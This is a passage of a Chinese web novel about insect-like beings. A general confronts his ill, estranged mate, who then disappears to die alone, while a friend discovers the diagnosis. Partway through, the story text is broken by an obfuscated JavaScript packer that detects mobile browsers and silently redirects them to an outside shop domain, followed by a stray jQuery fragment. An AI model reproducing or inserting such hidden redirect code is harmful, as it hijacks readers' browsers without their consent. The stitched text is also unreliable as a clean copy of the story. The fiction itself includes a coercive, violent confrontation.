西泽一身军装整齐,反观菲尼克斯自己,不着寸/缕,他不用想也知道,本来就破败的身体在醉酒后会狼狈成什么样子。
菲尼克斯从另一侧下床,权当背后的西泽不存在,打开衣柜,随意拿起一件衣服往身上套。
衣袖还没穿好一只,就听到板凳和地面摩擦的声音,随即是军靴踏地的清脆声响,也就几秒钟,腰侧就被一只有力热火的手掌钳住。
西泽用大拇指按在一大块瘀斑上揉搓,不止这块,菲尼克斯从后背到小腿,大大小小全是这样的斑块,再把菲尼克斯肩头按着翻转过来,正面也好不到哪里去。
瘦得肋骨分明的身体上,大块小块丑陋的乌紫,像是快要把皮肤腐蚀殆尽,昨晚在手臂上看到的不过是其中一角。
“看够了吗?滚开!”菲尼克斯一脚踢蹬在他胯上,没留一分力气。
西泽倒退两步,目光紧锁着菲尼克斯。“这是什么?”
长衣长裤遮住了视线,菲尼克斯冷着脸,懒得跟疯子多废话,绕开西泽要开门出去,还没走到门口就被横抱着压在了床上。
宽松的衣衫再次被撩起,西泽反复看着他从未见过瘀斑块儿,心里莫名的不安在无限放大。
菲尼克斯再次恨死了这个世界雌雄力量差异的设定,挥出拳头的手被钳住,用足了力气踢蹬在西泽身上的几脚也跟挠痒痒似的,西泽哼都没哼一声。
他两辈子没这么憋屈过。
“跟我回帝都。”西泽说着,故技重施横抱着菲尼克斯要起来。
双手终于得到解放,菲尼克斯趁机结实的一拳头挥过去,痛不痛不知道,但声音够响,西泽脸被打得偏到一边。
也就是在这时候,门突然砰的一声从外面被掀开,里尔拦不住亚特修,进门后刚好看见菲尼克斯挥拳的一瞬。
西泽舌头顶着后槽牙,本来紧盯着菲尼克斯的视线转头看向门口,房间里死一般的沉寂。
着急要进来护着菲尼克斯的亚特修也愣住了,一时间进也不是退也不是。
只有菲尼克斯,不仅打了高高在上的西泽将军,还要不遗余力地骂,“西泽,你就是贱。”
这一连串动作下来,加上激动的情绪,菲尼克斯累得靠在床头喘息,但凌厉的目光却没有分毫退让。
“我知道你还是喜欢我,西泽,不管你承不承认,绝对匹配就让你离不开我,离不开你最厌恶的雄虫,但你摸着良心说话,在军团大厦,在包厢里,我有没有给过你机会,我是喜欢你,喜欢失忆的小黑,所以愿意一而再再而三刨开真心给你看,让你来回践踏,我菲尼克斯喜欢得坦坦荡荡。”
菲尼克斯眼里泛着狠劲儿,“但你西泽是怎么做的?让我滚的是你,背后来骚扰我生活的也是你,你跟你厌恶的那些雄虫有什么区别?虚伪善妒,自私冷血,西泽,谁会来爱你,你根本不配。”
西泽面无表情地听着,呼吸声却也跟着愈加浓重,眼底藏着发疯的光。
“是吗?菲尼克斯。”西泽一手死死握住菲尼克斯两条细瘦的手腕,一手摸上菲尼克斯的脖子,手下是跳动的脉搏,体内的暴力因子仿佛一瞬间全部激活,只要他稍微用力,菲尼克斯就再不能逆反他,可西泽只是轻轻地顺着脖子抚摸。
“那昨晚上死命缠着我,哭着闹着说喜欢我,想我想得要死的不是你?不是你巴巴地要上赶着说爱我?你菲尼克斯不贱?”
“下手啊,怎么,不敢掐死我?”菲尼克斯动也不动,冷笑着看被他戳到痛处而恼怒的雌虫,“西泽,我告诉你,我的爱从来不贱,我从始至终喜欢的都是那个呆傻善良的小黑,我的爱人也是小黑,你是他吗?你不是,你不过是披着小黑的影子,不然你以为我会多看你一眼。”
僵持的局面不下,连站在门口的亚特修都能看见,西泽裸露在外的皮肤,墨黑的纹路翻涌,不过这一会儿功夫,就把西泽都包裹住了。
里尔眼看将军手下的动作收紧,开口打断静默的场面,寻了个借口,给僵持的两虫寻找台阶。
“将军,帝都来信说已寻到温特伯恩的踪迹。”
脖子上桎梏的力道忽的消失,西泽转身拿过床头柜上的面具戴上,大步走到门口又停住,回头看依旧靠在床头羸弱的雄虫,“菲尼克斯,我要的东西,从来没有得不到的。”
说完西泽带着里尔,头也不回地离开了亚特修家。
亚特修反锁好门才回去卧室,菲尼克斯没有动作,呆愣地看着虚空一点,和刚才跟西泽将军对峙时判若两虫,还冲亚特修温和地笑笑。
“亚特修,帮我把门关上吧,让我再休息会儿。”
亚特修有张嘴的动作又合上,说什么安慰的话都显得无力,还是把门拉上了。
菲尼克斯一整天都没有出过卧室门,亚特修反复把热好的饭菜端到门口,几经敲门后又怕打扰菲尼克斯休息,只能作罢。
但到了第二天中午时,亚特修实在忍不住,敲门询问无声回答后,轻轻打开门,却又握着门把手楞在原地。
屋内一切整齐如初,哪还有菲尼克斯的身影,所有的衣物,包括光脑都在,只是菲尼克斯不见了。
光脑放在床头柜上,压着一张纸条,亚特修抽出来看。
菲尼克斯把大半的金钱都留给了亚特修,说自己要出门远行,感谢他一个月来的照顾。
眼泪滴在纸张上,浸湿菲尼克斯张扬有力的字迹,亚特修知道,菲尼克斯再也不会回来了。
........
黑色正浓的时候,菲尼克斯走出了亚特修家,用假的身份证明,坐上不知去哪里的公共飞行器。
一切随心,到哪里有感觉了就下去,然后再搭上另一趟飞行器,去到比贫民区更远的地方。
到天快亮的时候,菲尼克斯选定自己最后的地方,是一个跟贫民区很相似的,到处荒凉看不到边际的小破地儿。
他穿着一身黑色兜头帽衫,口罩把一张脸蒙得紧实,背影消瘦羸弱声音嘶哑,除了衣服质量看着好点,他跟这里无家可归到处流浪的乞儿无异。
小镇唯一一家高级点的旅店老板嫌弃地要驱赶他,却又在他拿出一把现金后,笑着迎他进房门,让他想住多久住多久。
房间干净整洁,就是小了点,菲尼克斯也懒得换了。
辗转过来一趟,哪还有力气再折腾,反正是要死的人,先睡一觉再想其他的。
被病痛折磨的身体就一点好,随时都能睡着,菲尼克斯恍惚间觉得有些冷,但意识沉浮着清醒不过来,只能把唯一的一床被子囫囵裹着,蜷缩着昏沉地睡过去。
希望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437481|141489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不要再睁眼了,菲尼克斯想,穿书一趟真是累死他了。
.....
菲尼克斯离开已经有一天多时间,亚特修偶然在背包里发现一叠帝都医院的诊断报告,震惊焦急之下,连夜赶去帝都军团大厦。
站岗的军雌拦住了他,亚特修只说要见将军说有要事,但他语序颠倒,说着说着就情绪激动泪眼模糊,军雌把他当成碰瓷的要赶出去,让他去报警处理。
要是所有虫民屁大点事都要找西泽将军闹,那他们站岗的军雌也就不用设立了。
“住手,你们在干什么?”里尔恰巧从外面回来,赶忙扶住哭喊得喘不上气的亚特修,挥褪了军雌。
“亚特修,你别着急,怎么了,你慢慢说。”
亚特修手都在打颤,拿出已经被捏得皱成一团的诊断单子,像抓住救命稻草一般抓着里尔。
“菲尼克斯雄子快死了,我真的不知道去哪找他,只有西泽能救菲尼克斯雄子了。”
几张皱巴的纸很快被拿到西泽办公室桌上。
林木,罕见信息素综合征,保守治疗,高匹配信息素,最多三个月时间......
瘦可见骨的身体,广布的瘀斑,雌雄匹配网上94%匹配度的雌虫,一切都有了解释。
“菲尼克斯在哪?”西泽站起身,捏着那几张单子,神经质地左右踱步。
“我找不到他,将军,我知道您跟菲尼克斯雄子是绝对匹配的雌虫,求您救救他。”
亚特修说着,直直地跪在地上,里尔也是一脸震惊,扶住几近崩溃的亚特修。
这种可怕的罕见病他也曾听说过,几百年不会出现一例,可一旦确诊,必死无疑。
西泽把几张薄薄的检查单子撕得粉碎,一拳头猛地砸下去,实木桌上肉眼可见地裂缝。
检查单上显示的时间已经将近两个月以前,那个嚣张的雄虫要死了?菲尼克斯要死了?
西泽觉得他应该高兴才是,他下不去手杀死的雄虫,自己就要病死了,世上再没能左右他思绪的,该死的绝对匹配。
菲尼克斯正在某个地方等死,可能已经死了,永远消失了,再也不会出现在他眼前。
单是想到这儿,心脏却像是被千斤重的力道踩在地上反复蹂躏,眼眶竟也不受控制地酸胀,仿佛灵魂一部分被抽离的空虚感让西泽头一次感觉到惶恐。
那只总是不受他控制的雄虫,早就该把他绑在帝都,关在他眼皮子底下。
两天一夜,线下网上,西泽就差把虫星翻过来找,但菲尼克斯就像从未出现在虫星一般,没有丝毫消息。
“将军。”里尔虽然也为菲尼克斯惋惜遗憾,但还是得把最坏的情况说出来,“罕见信息素综合征治愈率为零,菲尼克斯,他那段时间看着状态就不好,还去做了信息素提取,菲尼克斯,他很可能已经不在了,将军节哀。”
将军失忆还是小黑的时候,里尔感叹过这一对雌雄恋人的美满感情。
但将军恢复记忆后发生的那些事情,里尔作为旁观者也都看不清了。
菲尼克斯确实是只与众不同的雄虫,但帝都也离不开西泽将军。
只能暗中庆幸将军已经恢复记忆,不是小黑了,要是小黑在,知道菲尼克斯死了,可能跟着去死也不是没可能。